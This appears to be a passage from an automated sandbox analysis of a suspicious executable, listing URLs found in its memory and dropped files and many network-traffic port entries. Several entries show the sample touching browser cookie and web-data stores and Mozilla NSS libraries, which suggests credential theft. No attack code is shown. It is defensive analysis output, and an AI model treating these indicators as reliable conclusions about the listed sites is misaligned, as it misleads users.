Source: file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Reporting and NEL.17.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, GIIEGHID.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.16.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.16.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: bff45595-cbc9-4a30-ab8c-460fac740265.tmp.17.dr, 994ce47e-5b82-444d-adf5-75cc29e21265.tmp.17.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.16.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: bff45595-cbc9-4a30-ab8c-460fac740265.tmp.17.dr, 994ce47e-5b82-444d-adf5-75cc29e21265.tmp.17.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.17.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.17.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.17.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.16.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.16.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: bff45595-cbc9-4a30-ab8c-460fac740265.tmp.17.dr, 994ce47e-5b82-444d-adf5-75cc29e21265.tmp.17.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log7.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log7.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log8.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 000003.log7.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log7.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_386.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_386.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_386.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_386.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: BAAFCAFCBKFHJJJKKFHI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.17.dr	String found in binary or memory: https://msn.comXIDv10
Source: 2cc80dabc69f58b6_0.16.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.16.dr, 000003.log1.16.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.16.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: Session_13377055292047558.16.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.16.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.16.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_386.9.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, GIIEGHID.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.16.dr, content_new.js.16.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: bff45595-cbc9-4a30-ab8c-460fac740265.tmp.17.dr, 994ce47e-5b82-444d-adf5-75cc29e21265.tmp.17.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_386.9.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_386.9.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_386.9.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
